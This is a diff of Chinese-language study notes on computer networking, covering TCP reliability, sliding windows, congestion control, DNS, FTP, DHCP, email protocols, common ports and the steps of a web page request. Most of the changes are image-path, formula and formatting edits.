-客户端接收到服务器端的 FIN 报文后进入此状态，此时并不是直接进入 CLOSED 状态，还需要等待一个时间计时器设置的时间 2MSL。这么做有两个理由：
+客户端接收到服务器端的 FIN 报文后进入此状态，此时并不是直接进入 CLOSED 状态，还需要等待一个时间计时器设置的时间 2MSL。这么做有两个理由：
 
-- 确保最后一个确认报文能够到达。如果 B 没收到 A 发送来的确认报文，那么就会重新发送连接释放请求报文，A 等待一段时间就是为了处理这种情况的发生。
+- 确保最后一个确认报文能够到达。如果 B 没收到 A 发送来的确认报文，那么就会重新发送连接释放请求报文，A 等待一段时间就是为了处理这种情况的发生。
 
-- 等待一段时间是为了让本连接持续时间内所产生的所有报文都从网络中消失，使得下一个新的连接不会出现旧的连接请求报文。
+- 等待一段时间是为了让本连接持续时间内所产生的所有报文都从网络中消失，使得下一个新的连接不会出现旧的连接请求报文。
 
-## TCP 可靠传输
+## TCP 可靠传输
 
-TCP 使用超时重传来实现可靠传输：如果一个已经发送的报文段在超时时间内没有收到确认，那么就重传这个报文段。
+TCP 使用超时重传来实现可靠传输：如果一个已经发送的报文段在超时时间内没有收到确认，那么就重传这个报文段。
 
-一个报文段从发送再到接收到确认所经过的时间称为往返时间 RTT，加权平均往返时间 RTTs 计算如下：
+一个报文段从发送再到接收到确认所经过的时间称为往返时间 RTT，加权平均往返时间 RTTs 计算如下：
 
-$$ RTTs = (1-a)*(RTTs) + a*RTT $$
+<div align="center"><img src="https://latex.codecogs.com/gif.latex?RTTs=(1-a)*(RTTs)+a*RTT"/></div> <br>
 
-超时时间 RTO 应该略大于 RTTs，TCP 使用的超时时间计算如下：
+超时时间 RTO 应该略大于 RTTs，TCP 使用的超时时间计算如下：
 
-$$ RTO = RTTs + 4*RTT_d $$
+<div align="center"><img src="https://latex.codecogs.com/gif.latex?RTO=RTTs+4*RTT_d"/></div> <br>
 
-其中 RTT<sub>d</sub> 为偏差。
+其中 RTT<sub>d</sub> 为偏差。
 
-## TCP 滑动窗口
+## TCP 滑动窗口
 
-窗口是缓存的一部分，用来暂时存放字节流。发送方和接收方各有一个窗口，接收方通过 TCP 报文段中的窗口字段告诉发送方自己的窗口大小，发送方根据这个值和其它信息设置自己的窗口大小。
+窗口是缓存的一部分，用来暂时存放字节流。发送方和接收方各有一个窗口，接收方通过 TCP 报文段中的窗口字段告诉发送方自己的窗口大小，发送方根据这个值和其它信息设置自己的窗口大小。
 
 发送窗口内的字节都允许被发送，接收窗口内的字节都允许被接收。如果发送窗口左部的字节已经发送并且收到了确认，那么就将发送窗口向右滑动一定距离，直到左部第一个字节不是已发送并且已确认的状态；接收窗口的滑动类似，接收窗口左部字节已经发送确认并交付主机，就向右滑动接收窗口。
 
-接收窗口只会对窗口内最后一个按序到达的字节进行确认，例如接收窗口已经收到的字节为 {31, 34, 35}，其中 {31} 按序到达，而 {34, 35} 就不是，因此只对字节 31 进行确认。发送方得到一个字节的确认之后，就知道这个字节之前的所有字节都已经被接收。
+接收窗口只会对窗口内最后一个按序到达的字节进行确认，例如接收窗口已经收到的字节为 {31, 34, 35}，其中 {31} 按序到达，而 {34, 35} 就不是，因此只对字节 31 进行确认。发送方得到一个字节的确认之后，就知道这个字节之前的所有字节都已经被接收。
 
-<img src="index_files/a3253deb-8d21-40a1-aae4-7d178e4aa319.jpg" width="800"/>
+<div align="center"> <img src="pics/a3253deb-8d21-40a1-aae4-7d178e4aa319.jpg" width="800"/> </div><br>
 
-## TCP 流量控制
+## TCP 流量控制
 
 流量控制是为了控制发送方发送速率，保证接收方来得及接收。
 
-接收方发送的确认报文中的窗口字段可以用来控制发送方窗口大小，从而影响发送方的发送速率。将窗口字段设置为 0，则发送方不能发送数据。
+接收方发送的确认报文中的窗口字段可以用来控制发送方窗口大小，从而影响发送方的发送速率。将窗口字段设置为 0，则发送方不能发送数据。
 
-## TCP 拥塞控制
+## TCP 拥塞控制
 
 如果网络出现拥塞，分组将会丢失，此时发送方会继续重传，从而导致网络拥塞程度更高。因此当出现拥塞时，应当控制发送方的速率。这一点和流量控制很像，但是出发点不同。流量控制是为了让接收方能来得及接收，而拥塞控制是为了降低整个网络的拥塞程度。
 
-<img src="index_files/51e2ed95-65b8-4ae9-8af3-65602d452a25.jpg" width="500"/>
+<div align="center"> <img src="pics/51e2ed95-65b8-4ae9-8af3-65602d452a25.jpg" width="500"/> </div><br>
 
-TCP 主要通过四个算法来进行拥塞控制：慢开始、拥塞避免、快重传、快恢复。
+TCP 主要通过四个算法来进行拥塞控制：慢开始、拥塞避免、快重传、快恢复。
 
 发送方需要维护一个叫做拥塞窗口（cwnd）的状态变量，注意拥塞窗口与发送方窗口的区别：拥塞窗口只是一个状态变量，实际决定发送方能发送多少数据的是发送方窗口。
 
 为了便于讨论，做如下假设：
 
-- 接收方有足够大的接收缓存，因此不会发生流量控制；
-- 虽然 TCP 的窗口基于字节，但是这里设窗口的大小单位为报文段。
+- 接收方有足够大的接收缓存，因此不会发生流量控制；
+- 虽然 TCP 的窗口基于字节，但是这里设窗口的大小单位为报文段。
 
-<img src="index_files/910f613f-514f-4534-87dd-9b4699d59d31.png" width="800"/>
+<div align="center"> <img src="pics/910f613f-514f-4534-87dd-9b4699d59d31.png" width="800"/> </div><br>
 
-### 1. 慢开始与拥塞避免
+### 1. 慢开始与拥塞避免
 
-发送的最初执行慢开始，令 cwnd = 1，发送方只能发送 1 个报文段；当收到确认后，将 cwnd 加倍，因此之后发送方能够发送的报文段数量为：2、4、8 ...
+发送的最初执行慢开始，令 cwnd = 1，发送方只能发送 1 个报文段；当收到确认后，将 cwnd 加倍，因此之后发送方能够发送的报文段数量为：2、4、8 ...
 
-注意到慢开始每个轮次都将 cwnd 加倍，这样会让 cwnd 增长速度非常快，从而使得发送方发送的速度增长速度过快，网络拥塞的可能性也就更高。设置一个慢开始门限 ssthresh，当 cwnd >= ssthresh 时，进入拥塞避免，每个轮次只将 cwnd 加 1。
+注意到慢开始每个轮次都将 cwnd 加倍，这样会让 cwnd 增长速度非常快，从而使得发送方发送的速度增长速度过快，网络拥塞的可能性也就更高。设置一个慢开始门限 ssthresh，当 cwnd >= ssthresh 时，进入拥塞避免，每个轮次只将 cwnd 加 1。
 
-如果出现了超时，则令 ssthresh = cwnd / 2，然后重新执行慢开始。
+如果出现了超时，则令 ssthresh = cwnd / 2，然后重新执行慢开始。
 
-### 2. 快重传与快恢复
+### 2. 快重传与快恢复
 
-在接收方，要求每次接收到报文段都应该对最后一个已收到的有序报文段进行确认。例如已经接收到 M<sub>1</sub> 和 M<sub>2</sub>，此时收到 M<sub>4</sub>，应当发送对 M<sub>2</sub> 的确认。
+在接收方，要求每次接收到报文段都应该对最后一个已收到的有序报文段进行确认。例如已经接收到 M<sub>1</sub> 和 M<sub>2</sub>，此时收到 M<sub>4</sub>，应当发送对 M<sub>2</sub> 的确认。
 
-在发送方，如果收到三个重复确认，那么可以知道下一个报文段丢失，此时执行快重传，立即重传下一个报文段。例如收到三个 M<sub>2</sub>，则 M<sub>3</sub> 丢失，立即重传 M<sub>3</sub>。
+在发送方，如果收到三个重复确认，那么可以知道下一个报文段丢失，此时执行快重传，立即重传下一个报文段。例如收到三个 M<sub>2</sub>，则 M<sub>3</sub> 丢失，立即重传 M<sub>3</sub>。
 
-在这种情况下，只是丢失个别报文段，而不是网络拥塞。因此执行快恢复，令 ssthresh = cwnd / 2 ，cwnd = ssthresh，注意到此时直接进入拥塞避免。
+在这种情况下，只是丢失个别报文段，而不是网络拥塞。因此执行快恢复，令 ssthresh = cwnd / 2 ，cwnd = ssthresh，注意到此时直接进入拥塞避免。
 
-慢开始和快恢复的快慢指的是 cwnd 的设定值，而不是 cwnd 的增长速率。慢开始 cwnd 设定为 1，而快恢复 cwnd 设定为 ssthresh。
+慢开始和快恢复的快慢指的是 cwnd 的设定值，而不是 cwnd 的增长速率。慢开始 cwnd 设定为 1，而快恢复 cwnd 设定为 ssthresh。
 
-<img src="index_files/f61b5419-c94a-4df1-8d4d-aed9ae8cc6d5.png" width="600"/>
+<div align="center"> <img src="pics/f61b5419-c94a-4df1-8d4d-aed9ae8cc6d5.png" width="600"/> </div><br>
 
-# 六、应用层
+# 六、应用层
 
-## 域名系统
+## 域名系统
 
-DNS 是一个分布式数据库，提供了主机名和 IP 地址之间相互转换的服务。这里的分布式数据库是指，每个站点只保留它自己的那部分数据。
+DNS 是一个分布式数据库，提供了主机名和 IP 地址之间相互转换的服务。这里的分布式数据库是指，每个站点只保留它自己的那部分数据。
 
 域名具有层次结构，从上到下依次为：根域名、顶级域名、二级域名。
 
-![](index_files/b54eeb16-0b0e-484c-be62-306f57c40d77.jpg)
+<div align="center"> <img src="pics/b54eeb16-0b0e-484c-be62-306f57c40d77.jpg"/> </div><br>
 
-DNS 可以使用 UDP 或者 TCP 进行传输，使用的端口号都为 53。大多数情况下 DNS 使用 UDP 进行传输，这就要求域名解析器和域名服务器都必须自己处理超时和重传来保证可靠性。在两种情况下会使用 TCP 进行传输：
+DNS 可以使用 UDP 或者 TCP 进行传输，使用的端口号都为 53。大多数情况下 DNS 使用 UDP 进行传输，这就要求域名解析器和域名服务器都必须自己处理超时和重传来保证可靠性。在两种情况下会使用 TCP 进行传输：
 
-- 如果返回的响应超过的 512 字节（UDP 最大只支持 512 字节的数据）。
-- 区域传送（区域传送是主域名服务器向辅助域名服务器传送变化的那部分数据）。
+- 如果返回的响应超过的 512 字节（UDP 最大只支持 512 字节的数据）。
+- 区域传送（区域传送是主域名服务器向辅助域名服务器传送变化的那部分数据）。
 
-## 文件传送协议
+## 文件传送协议
 
-FTP 使用 TCP 进行连接，它需要两个连接来传送一个文件：
+FTP 使用 TCP 进行连接，它需要两个连接来传送一个文件：
 
-- 控制连接：服务器打开端口号 21 等待客户端的连接，客户端主动建立连接后，使用这个连接将客户端的命令传送给服务器，并传回服务器的应答。
-- 数据连接：用来传送一个文件数据。
+- 控制连接：服务器打开端口号 21 等待客户端的连接，客户端主动建立连接后，使用这个连接将客户端的命令传送给服务器，并传回服务器的应答。
+- 数据连接：用来传送一个文件数据。
 
-根据数据连接是否是服务器端主动建立，FTP 有主动和被动两种模式：
+根据数据连接是否是服务器端主动建立，FTP 有主动和被动两种模式：
 
-- 主动模式：服务器端主动建立数据连接，其中服务器端的端口号为 20，客户端的端口号随机，但是必须大于 1024，因为 0~1023 是熟知端口号。
+- 主动模式：服务器端主动建立数据连接，其中服务器端的端口号为 20，客户端的端口号随机，但是必须大于 1024，因为 0\~1023 是熟知端口号。
 
-![](index_files/03f47940-3843-4b51-9e42-5dcaff44858b.jpg)
+<div align="center"> <img src="pics/03f47940-3843-4b51-9e42-5dcaff44858b.jpg"/> </div><br>
 
-- 被动模式：客户端主动建立数据连接，其中客户端的端口号由客户端自己指定，服务器端的端口号随机。
+- 被动模式：客户端主动建立数据连接，其中客户端的端口号由客户端自己指定，服务器端的端口号随机。
 
-![](index_files/be5c2c61-86d2-4dba-a289-b48ea23219de.jpg)
+<div align="center"> <img src="pics/be5c2c61-86d2-4dba-a289-b48ea23219de.jpg"/> </div><br>
 
 主动模式要求客户端开放端口号给服务器端，需要去配置客户端的防火墙。被动模式只需要服务器端开放端口号即可，无需客户端配置防火墙。但是被动模式会导致服务器端的安全性减弱，因为开放了过多的端口号。
 
-## 动态主机配置协议
+## 动态主机配置协议
 
-DHCP (Dynamic Host Configuration Protocol) 提供了即插即用的连网方式，用户不再需要去手动配置 IP 地址等信息。
+DHCP (Dynamic Host Configuration Protocol) 提供了即插即用的连网方式，用户不再需要去手动配置 IP 地址等信息。
 
-DHCP 配置的内容不仅是 IP 地址，还包括子网掩码、网关 IP 地址。
+DHCP 配置的内容不仅是 IP 地址，还包括子网掩码、网关 IP 地址。
 
-DHCP 工作过程如下：
+DHCP 工作过程如下：
 
-1. 客户端发送 Discover 报文，该报文的目的地址为 255.255.255.255:67，源地址为 0.0.0.0:68，被放入 UDP 中，该报文被广播到同一个子网的所有主机上。如果客户端和 DHCP 服务器不在同一个子网，就需要使用中继代理。
-2. DHCP 服务器收到 Discover 报文之后，发送 Offer 报文给客户端，该报文包含了客户端所需要的信息。因为客户端可能收到多个 DHCP 服务器提供的信息，因此客户端需要进行选择。
-3. 如果客户端选择了某个 DHCP 服务器提供的信息，那么就发送 Request 报文给该 DHCP 服务器。
-4. DHCP 服务器发送 Ack 报文，表示客户端此时可以使用提供给它的信息。
+1. 客户端发送 Discover 报文，该报文的目的地址为 255.255.255.255:67，源地址为 0.0.0.0:68，被放入 UDP 中，该报文被广播到同一个子网的所有主机上。如果客户端和 DHCP 服务器不在同一个子网，就需要使用中继代理。
+2. DHCP 服务器收到 Discover 报文之后，发送 Offer 报文给客户端，该报文包含了客户端所需要的信息。因为客户端可能收到多个 DHCP 服务器提供的信息，因此客户端需要进行选择。
+3. 如果客户端选择了某个 DHCP 服务器提供的信息，那么就发送 Request 报文给该 DHCP 服务器。
+4. DHCP 服务器发送 Ack 报文，表示客户端此时可以使用提供给它的信息。
 
-![](index_files/bf16c541-0717-473b-b75d-4115864f4fbf.jpg)
+<div align="center"> <img src="pics/bf16c541-0717-473b-b75d-4115864f4fbf.jpg"/> </div><br>
 
-## 远程登录协议
+## 远程登录协议
 
-TELNET 用于登录到远程主机上，并且远程主机上的输出也会返回。
+TELNET 用于登录到远程主机上，并且远程主机上的输出也会返回。
 
-TELNET 可以适应许多计算机和操作系统的差异，例如不同操作系统系统的换行符定义。
+TELNET 可以适应许多计算机和操作系统的差异，例如不同操作系统系统的换行符定义。
 
-## 电子邮件协议
+## 电子邮件协议
 
 一个电子邮件系统由三部分组成：用户代理、邮件服务器以及邮件协议。
 
-邮件协议包含发送协议和读取协议，发送协议常用 SMTP，读取协议常用 POP3 和 IMAP。
+邮件协议包含发送协议和读取协议，发送协议常用 SMTP，读取协议常用 POP3 和 IMAP。
 
-<img src="index_files/7b3efa99-d306-4982-8cfb-e7153c33aab4.png" width="700"/>
+<div align="center"> <img src="pics/7b3efa99-d306-4982-8cfb-e7153c33aab4.png" width="700"/> </div><br>
 
-### 1. SMTP
+### 1. SMTP
 
-SMTP 只能发送 ASCII 码，而互联网邮件扩充 MIME 可以发送二进制文件。MIME 并没有改动或者取代 SMTP，而是增加邮件主体的结构，定义了非 ASCII 码的编码规则。
+SMTP 只能发送 ASCII 码，而互联网邮件扩充 MIME 可以发送二进制文件。MIME 并没有改动或者取代 SMTP，而是增加邮件主体的结构，定义了非 ASCII 码的编码规则。
 
-<img src="index_files/ed5522bb-3a60-481c-8654-43e7195a48fe.png" width=""/>
+<div align="center"> <img src="pics/ed5522bb-3a60-481c-8654-43e7195a48fe.png" width=""/> </div><br>
 
-### 2. POP3
+### 2. POP3
 
-POP3 的特点是只要用户从服务器上读取了邮件，就把该邮件删除。
+POP3 的特点是只要用户从服务器上读取了邮件，就把该邮件删除。
 
-### 3. IMAP
+### 3. IMAP
 
-IMAP 协议中客户端和服务器上的邮件保持同步，如果不手动删除邮件，那么服务器上的邮件也不会被删除。IMAP 这种做法可以让用户随时随地去访问服务器上的邮件。
+IMAP 协议中客户端和服务器上的邮件保持同步，如果不手动删除邮件，那么服务器上的邮件也不会被删除。IMAP 这种做法可以让用户随时随地去访问服务器上的邮件。
 
-## 常用端口
+## 常用端口
 
-|应用| 应用层协议 | 端口号 | 传输层协议 | 备注 |
-| :---: | :--: | :--: | :--: | :--: |
-| 域名解析 | DNS | 53 | UDP/TCP | 长度超过 512 字节时使用 TCP |
-| 动态主机配置协议 | DHCP | 67/68 | UDP | |
-| 简单网络管理协议 | SNMP | 161/162 | UDP | |
-| 文件传送协议 | FTP | 20/21 | TCP | 控制连接 21，数据连接 20 |
-| 远程终端协议 | TELNET | 23 | TCP | |
-| 超文本传送协议 | HTTP | 80 | TCP | |
-| 简单邮件传送协议 | SMTP | 25 | TCP | |
-| 邮件读取协议 | POP3 | 110 | TCP | |
-| 网际报文存取协议 | IMAP | 143 | TCP | |
+|应用| 应用层协议 | 端口号 | 传输层协议 | 备注 |
+| :---: | :--: | :--: | :--: | :--: |
+| 域名解析 | DNS | 53 | UDP/TCP | 长度超过 512 字节时使用 TCP |
+| 动态主机配置协议 | DHCP | 67/68 | UDP | |
+| 简单网络管理协议 | SNMP | 161/162 | UDP | |
+| 文件传送协议 | FTP | 20/21 | TCP | 控制连接 21，数据连接 20 |
+| 远程终端协议 | TELNET | 23 | TCP | |
+| 超文本传送协议 | HTTP | 80 | TCP | |
+| 简单邮件传送协议 | SMTP | 25 | TCP | |
+| 邮件读取协议 | POP3 | 110 | TCP | |
+| 网际报文存取协议 | IMAP | 143 | TCP | |
 
-## Web 页面请求过程
+## Web 页面请求过程
 
-### 1. DHCP 配置主机信息
+### 1. DHCP 配置主机信息
 
-- 假设主机最开始没有 IP 地址以及其它信息，那么就需要先使用 DHCP 来获取。
+- 假设主机最开始没有 IP 地址以及其它信息，那么就需要先使用 DHCP 来获取。
 
-- 主机生成一个 DHCP 请求报文，并将这个报文放入具有目的端口 67 和源端口 68 的 UDP 报文段中。
+- 主机生成一个 DHCP 请求报文，并将这个报文放入具有目的端口 67 和源端口 68 的 UDP 报文段中。
 
-- 该报文段则被放入在一个具有广播 IP 目的地址(255.255.255.255) 和源 IP 地址（0.0.0.0）的 IP 数据报中。
+- 该报文段则被放入在一个具有广播 IP 目的地址(255.255.255.255) 和源 IP 地址（0.0.0.0）的 IP 数据报中。
 
-- 该数据报则被放置在 MAC 帧中，该帧具有目的地址 FF:FF:FF:FF:FF:FF，将广播到与交换机连接的所有设备。
+- 该数据报则被放置在 MAC 帧中，该帧具有目的地址 FF:FF:FF:FF:FF:FF，将广播到与交换机连接的所有设备。
 
-- 连接在交换机的 DHCP 服务器收到广播帧之后，不断地向上分解得到 IP 数据报、UDP 报文段、DHCP 请求报文，之后生成 DHCP ACK 报文，该报文包含以下信息：IP 地址、DNS 服务器的 IP 地址、默认网关路由器的 IP 地址和子网掩码。该报文被放入 UDP 报文段中，UDP 报文段有被放入 IP 数据报中，最后放入 MAC 帧中。
+- 连接在交换机的 DHCP 服务器收到广播帧之后，不断地向上分解得到 IP 数据报、UDP 报文段、DHCP 请求报文，之后生成 DHCP ACK 报文，该报文包含以下信息：IP 地址、DNS 服务器的 IP 地址、默认网关路由器的 IP 地址和子网掩码。该报文被放入 UDP 报文段中，UDP 报文段有被放入 IP 数据报中，最后放入 MAC 帧中。
 
-- 该帧的目的地址是请求主机的 MAC 地址，因为交换机具有自学习能力，之前主机发送了广播帧之后就记录了 MAC 地址到其转发接口的交换表项，因此现在交换机就可以直接知道应该向哪个接口发送该帧。
+- 该帧的目的地址是请求主机的 MAC 地址，因为交换机具有自学习能力，之前主机发送了广播帧之后就记录了 MAC 地址到其转发接口的交换表项，因此现在交换机就可以直接知道应该向哪个接口发送该帧。
 
-- 主机收到该帧后，不断分解得到 DHCP 报文。之后就配置它的 IP 地址、子网掩码和 DNS 服务器的 IP 地址，并在其 IP 转发表中安装默认网关。
+- 主机收到该帧后，不断分解得到 DHCP 报文。之后就配置它的 IP 地址、子网掩码和 DNS 服务器的 IP 地址，并在其 IP 转发表中安装默认网关。
 
-### 2. ARP 解析 MAC 地址
+### 2. ARP 解析 MAC 地址
 
-- 主机通过浏览器生成一个 TCP 套接字，套接字向 HTTP 服务器发送 HTTP 请求。为了生成该套接字，主机需要知道网站的域名对应的 IP 地址。
+- 主机通过浏览器生成一个 TCP 套接字，套接字向 HTTP 服务器发送 HTTP 请求。为了生成该套接字，主机需要知道网站的域名对应的 IP 地址。
 
-- 主机生成一个 DNS 查询报文，该报文具有 53 号端口，因为 DNS 服务器的端口号是 53。
+- 主机生成一个 DNS 查询报文，该报文具有 53 号端口，因为 DNS 服务器的端口号是 53。
 
-- 该 DNS 查询报文被放入目的地址为 DNS 服务器 IP 地址的 IP 数据报中。
+- 该 DNS 查询报文被放入目的地址为 DNS 服务器 IP 地址的 IP 数据报中。
 
-- 该 IP 数据报被放入一个以太网帧中，该帧将发送到网关路由器。
+- 该 IP 数据报被放入一个以太网帧中，该帧将发送到网关路由器。
 
-- DHCP 过程只知道网关路由器的 IP 地址，为了获取网关路由器的 MAC 地址，需要使用 ARP 协议。
+- DHCP 过程只知道网关路由器的 IP 地址，为了获取网关路由器的 MAC 地址，需要使用 ARP 协议。
 
-- 主机生成一个包含目的地址为网关路由器 IP 地址的 ARP 查询报文，将该 ARP 查询报文放入一个具有广播目的地址（FF:FF:FF:FF:FF:FF）的以太网帧中，并向交换机发送该以太网帧，交换机将该帧转发给所有的连接设备，包括网关路由器。
+- 主机生成一个包含目的地址为网关路由器 IP 地址的 ARP 查询报文，将该 ARP 查询报文放入一个具有广播目的地址（FF:FF:FF:FF:FF:FF）的以太网帧中，并向交换机发送该以太网帧，交换机将该帧转发给所有的连接设备，包括网关路由器。
 
-- 网关路由器接收到该帧后，不断向上分解得到 ARP 报文，发现其中的 IP 地址与其接口的 IP 地址匹配，因此就发送一个 ARP 回答报文，包含了它的 MAC 地址，发回给主机。
+- 网关路由器接收到该帧后，不断向上分解得到 ARP 报文，发现其中的 IP 地址与其接口的 IP 地址匹配，因此就发送一个 ARP 回答报文，包含了它的 MAC 地址，发回给主机。
 
-### 3. DNS 解析域名
+### 3. DNS 解析域名
 
-- 知道了网关路由器的 MAC 地址之后，就可以继续 DNS 的解析过程了。
+- 知道了网关路由器的 MAC 地址之后，就可以继续 DNS 的解析过程了。
 
-- 网关路由器接收到包含 DNS 查询报文的以太网帧后，抽取出 IP 数据报，并根据转发表决定该 IP 数据报应该转发的路由器。
+- 网关路由器接收到包含 DNS 查询报文的以太网帧后，抽取出 IP 数据报，并根据转发表决定该 IP 数据报应该转发的路由器。
 
-- 因为路由器具有内部网关协议（RIP、OSPF）和外部网关协议（BGP）这两种路由选择协议，因此路由表中已经配置了网关路由器到达 DNS 服务器的路由表项。
+- 因为路由器具有内部网关协议（RIP、OSPF）和外部网关协议（BGP）这两种路由选择协议，因此路由表中已经配置了网关路由器到达 DNS 服务器的路由表项。
 
-- 到达 DNS 服务器之后，DNS 服务器抽取出 DNS 查询报文，并在 DNS 数据库中查找待解析的域名。
+- 到达 DNS 服务器之后，DNS 服务器抽取出 DNS 查询报文，并在 DNS 数据库中查找待解析的域名。
 
-- 找到 DNS 记录之后，发送 DNS 回答报文，将该回答报文放入 UDP 报文段中，然后放入 IP 数据报中，通过路由器反向转发回网关路由器，并经过以太网交换机到达主机。
+- 找到 DNS 记录之后，发送 DNS 回答报文，将该回答报文放入 UDP 报文段中，然后放入 IP 数据报中，通过路由器反向转发回网关路由器，并经过以太网交换机到达主机。
 
-### 4. HTTP 请求页面
+### 4. HTTP 请求页面
 
-- 有了 HTTP 服务器的 IP 地址之后，主机就能够生成 TCP 套接字，该套接字将用于向 Web 服务器发送 HTTP GET 报文。
+- 有了 HTTP 服务器的 IP 地址之后，主机就能够生成 TCP 套接字，该套接字将用于向 Web 服务器发送 HTTP GET 报文。
 
-- 在生成 TCP 套接字之前，必须先与 HTTP 服务器进行三次握手来建立连接。生成一个具有目的端口 80 的 TCP SYN 报文段，并向 HTTP 服务器发送该报文段。
+- 在生成 TCP 套接字之前，必须先与 HTTP 服务器进行三次握手来建立连接。生成一个具有目的端口 80 的 TCP SYN 报文段，并向 HTTP 服务器发送该报文段。
 
-- HTTP 服务器收到该报文段之后，生成 TCP SYN ACK 报文段，发回给主机。
+- HTTP 服务器收到该报文段之后，生成 TCP SYN ACK 报文段，发回给主机。
 
-- 连接建立之后，浏览器生成 HTTP GET 报文，并交付给 HTTP 服务器。
+- 连接建立之后，浏览器生成 HTTP GET 报文，并交付给 HTTP 服务器。
 
-- HTTP 服务器从 TCP 套接字读取 HTTP GET 报文，生成一个 HTTP 响应报文，将 Web 页面内容放入报文主体中，发回给主机。
+- HTTP 服务器从 TCP 套接字读取 HTTP GET 报文，生成一个 HTTP 响应报文，将 Web 页面内容放入报文主体中，发回给主机。
 
-- 浏览器收到 HTTP 响应报文后，抽取出 Web 页面内容，之后进行渲染，显示 Web 页面。
+- 浏览器收到 HTTP 响应报文后，抽取出 Web 页面内容，之后进行渲染，显示 Web 页面。
 
 
-# 参考资料
+# 参考资料
 
-- 计算机网络, 谢希仁
-- JamesF.Kurose, KeithW.Ross, 库罗斯, 等. 计算机网络: 自顶向下方法 [M]. 机械工业出版社, 2014.
-- W.RichardStevens. TCP/IP 详解. 卷 1, 协议 [M]. 机械工业出版社, 2006.
-- [Active vs Passive FTP Mode: Which One is More Secure?](https://securitywing.com/active-vs-passive-ftp-mode/)
-- [Active and Passive FTP Transfers Defined - KB Article #1138](http://www.serv-u.com/kb/1138/active-and-passive-ftp-transfers-defined)
-- [Traceroute](https://zh.wikipedia.org/wiki/Traceroute)
-- [ping](https://zh.wikipedia.org/wiki/Ping)
-- [How DHCP works and DHCP Interview Questions and Answers](http://webcache.googleusercontent.com/search?q=cache:http://anandgiria.blogspot.com/2013/09/windows-dhcp-interview-questions-and.html)
-- [What is process of DORA in DHCP?](https://www.quora.com/What-is-process-of-DORA-in-DHCP)
-- [What is DHCP Server ?](https://tecadmin.net/what-is-dhcp-server/)
-- [Tackling emissions targets in Tokyo](http://www.climatechangenews.com/2011/html/university-tokyo.html)
-- [What does my ISP know when I use Tor?](http://www.climatechangenews.com/2011/html/university-tokyo.html)
-- [Technology-Computer Networking[1]-Computer Networks and the Internet](http://www.linyibin.cn/2017/02/12/technology-ComputerNetworking-Internet/)
-- [P2P 网络概述.](http://slidesplayer.com/slide/11616167/)
-- [Circuit Switching (a) Circuit switching. (b) Packet switching.](http://slideplayer.com/slide/5115386/)
----bottom---CyC---
-![](index_files/network-of-networks.gif)
-![](index_files/46cec213-3048-4a80-aded-fdd577542801.jpg)
-![](index_files/168e893c-e4a0-4ba4-b81f-9d993483abd0.jpg)
-![](index_files/2ad244f5-939c-49fa-9385-69bc688677ab.jpg)
-![](index_files/f71125b7-f7cb-4a96-9bf0-902bce9487f0.jpg)
-![](index_files/7fa66f48-bc42-4b98-93c2-56b20feaa990.png)
-![](index_files/7048a730-a2d0-43d1-99ce-f774e4ef1b27.png)
-![](index_files/c34f4503-f62c-4043-9dc6-3e03288657df.jpg)
-![](index_files/9c60793f-5e7f-453b-8413-35890c24abc4.png)
-![](index_files/839207f5-52fd-4516-9370-956dcdf2c2b5.png)
-![](index_files/c4c14368-519c-4a0e-8331-0a553715e3e7.jpg)
-![](index_files/fa2273c3-1b5f-48ce-8e8b-441a4116c1c4.jpg)
-![](index_files/5999e5de-7c16-4b52-b3aa-6dc7b58c7894.png)
-![](index_files/21041ec2-babb-483f-bf47-8b8148eec162.png)
-![](index_files/92ad9bae-7d02-43ba-8115-a9d6f530ca28.png)
-![](index_files/5aa82b89-f266-44da-887d-18f31f01d8ef.png)
-![](index_files/ddcf2327-8d84-425d-8535-121a94bcb88d.jpg)
-![](index_files/69f16984-a66f-4288-82e4-79b4aa43e835.jpg)
-![](index_files/a6026bb4-3daf-439f-b1ec-a5a24e19d2fb.jpg)
-![](index_files/50d38e84-238f-4081-8876-14ef6d7938b5.jpg)
-![](index_files/c9cfcd20-c901-435f-9a07-3e46830c359f.jpg)
-![](index_files/a74b70ac-323a-4b31-b4d5-90569b8a944b.png)
-![](index_files/7b038838-c75b-4538-ae84-6299386704e5.jpg)
-![](index_files/0a9f4125-b6ab-4e94-a807-fd7070ae726a.png)
-![](index_files/85c05fb1-5546-4c50-9221-21f231cdc8c5.jpg)
-![](index_files/23ba890e-e11c-45e2-a20c-64d217f83430.png)
-![](index_files/cbf50eb8-22b4-4528-a2e7-d187143d57f7.png)
-![](index_files/66192382-558b-4b05-a35d-ac4a2b1a9811.jpg)
-![](index_files/b9d79a5a-e7af-499b-b989-f10483e71b8b.jpg)
-![](index_files/8006a450-6c2f-498c-a928-c927f758b1d0.png)
-![](index_files/e3124763-f75e-46c3-ba82-341e6c98d862.jpg)
-![](index_files/aa29cc88-7256-4399-8c7f-3cf4a6489559.png)
-![](index_files/1556770b-8c01-4681-af10-46f1df69202c.jpg)
-![](index_files/2719067e-b299-4639-9065-bed6729dbf0b.png)
-![](index_files/c3369072-c740-43b0-b276-202bd1d3960d.jpg)
-![](index_files/1ab49e39-012b-4383-8284-26570987e3c4.jpg)
-![](index_files/9cd0ae20-4fb5-4017-a000-f7d3a0eb3529.png)
-![](index_files/d4c3a4a1-0846-46ec-9cc3-eaddfca71254.jpg)
-![](index_files/55dc4e84-573d-4c13-a765-52ed1dd251f9.png)
-![](index_files/e92d0ebc-7d46-413b-aec1-34a39602f787.png)
-![](index_files/f87afe72-c2df-4c12-ac03-9b8d581a8af8.jpg)
-![](index_files/a3253deb-8d21-40a1-aae4-7d178e4aa319.jpg)
-![](index_files/51e2ed95-65b8-4ae9-8af3-65602d452a25.jpg)
-![](index_files/910f613f-514f-4534-87dd-9b4699d59d31.png)
-![](index_files/f61b5419-c94a-4df1-8d4d-aed9ae8cc6d5.png)
-![](index_files/b54eeb16-0b0e-484c-be62-306f57c40d77.jpg)
-![](index_files/03f47940-3843-4b51-9e42-5dcaff44858b.jpg)
-![](index_files/be5c2c61-86d2-4dba-a289-b48ea23219de.jpg)
-![](index_files/bf16c541-0717-473b-b75d-4115864f4fbf.jpg)
-![](index_files/7b3efa99-d306-4982-8cfb-e7153c33aab4.png)
-![](index_files/ed5522bb-3a60-481c-8654-43e7195a48fe.png)
+- 计算机网络, 谢希仁
+- JamesF.Kurose, KeithW.Ross, 库罗斯, 等. 计算机网络: 自顶向下方法 [M]. 机械工业出版社, 2014.
+- W.RichardStevens. TCP/IP 详解. 卷 1, 协议 [M]. 机械工业出版社, 2006.
+- [Active vs Passive FTP Mode: Which One is More Secure?](https://securitywing.com/active-vs-passive-ftp-mode/)
